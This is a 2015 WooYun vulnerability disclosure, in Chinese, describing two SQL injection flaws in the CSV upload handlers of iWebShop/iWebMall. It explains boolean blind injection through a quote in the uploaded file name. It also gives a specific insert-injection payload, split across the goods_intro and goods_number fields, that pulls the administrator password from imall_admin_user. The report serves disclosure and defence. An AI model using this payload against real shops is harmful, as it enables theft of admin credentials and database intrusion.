漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0129660
漏洞标题:iWebShop最新版两处SQL注入
相关厂商:www.jooyea.cn
漏洞作者: 小飞
提交时间:2015-07-27 14:05
修复时间:2015-10-25 15:01
公开时间:2015-10-25 15:01
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-09-20: 细节向核心白帽子及相关领域专家公开
2015-09-30: 细节向普通白帽子公开
2015-10-10: 细节向实习白帽子公开
2015-10-25: 细节向公众公开
简要描述:
iWebShop最新版
7月26号从官网下载
一处bool盲注 一处insert注入
(其中的一个注入条件 GPC=OFF)
详细说明:
注入一
问题出在
action/goods/csv_taobao_img.php
首先说下iwebshop的防护机制,iWebShop实际上对所有GET POST 的' \都进行了全局过滤
但是管理员忽略了FILES
而php对FILES是不进行魔术引号转义的(真的是这样么?真的测试过么?)。
$file_name=explode(".",$_FILES[$upload_name]['name'][0]);
这里获取上传的文件名
以文件名作为索引查询数据库
从而,我们在文件名引入单引号
首先注册登录
http://127.0.0.1/iwebmall/modules.php?app=csv_taobao_img
然后上传一个1'.tbi的文件 数据库显示为
这里我们可以看到,我们成功引入单引号。
而iWebShop的getRow是不打印mysql_error的
所以我们通过布尔盲注来解决。
这里我们构造返回的goods_id是否唯一 就能知道查询的正确与否
新建文件 文件名为
上传显示正常 说明version字段第一位为5
数据库执行如下
如果改成4
前端报错
注入二
问题出在
action/goods/csv_taobao.php
同样的问题,由于太信任上传过程
直接用get_csv_date来解析这个上传文件
我们看看这个函数
可以看到 对注入的检测在于str_replace("'",'',str_replace('"','',$tmp[0]));
可是这个update点是多字段可控,我们可以引入
\转义掉单引号来注入
insert into iwebmaill_goods (shop_id,goods_name,cat_id,ucat_id,type_id,goods_intro,goods_number,goods_price,is_delete,is_best,is_new,is_hot,is_promote,is_on_sale,is_set_image,goods_thumb,add_time,last_update_time,lock_flg) values
('$shop_id','".$value['goods_name']."','$cat_id','0','1','".$value['goods_intro']."','".$value['goods_number']."','".$value['goods_price']."',
'1','0','0','0','0','1','0','','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','0')"
$value['goods_intro']填入\ ,goods_number 填入",1,1,1,1 ,1,1,1,1,1,1),(1,(select admin_password from imall_admin_user limit 1),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)"使得语句变成
insert (x,x,x,x,x,x,x,x),(x,evil sql,x,x,x,x,x,x,x);
这样插入两条数据 最终得到管理员密码
成功注入
漏洞证明:
新建文件 文件名为
上传显示正常 说明version字段第一位为5
数据库执行如下
如果改成4
前端报错
$value['goods_intro']填入\ ,goods_number 填入",1,1,1,1 ,1,1,1,1,1,1),(1,(select admin_password from imall_admin_user limit 1),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)"使得语句变成
insert (x,x,x,x,x,x,x,x),(x,evil sql,x,x,x,x,x,x,x);
这样插入两条数据 最终得到管理员密码
修复方案:
注意FILES转义
版权声明:转载请注明来源 小飞@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-10-25 15:01
厂商回复:
该问题是iwebmall 而不是最新的iwebshop的产品
最新状态:
暂无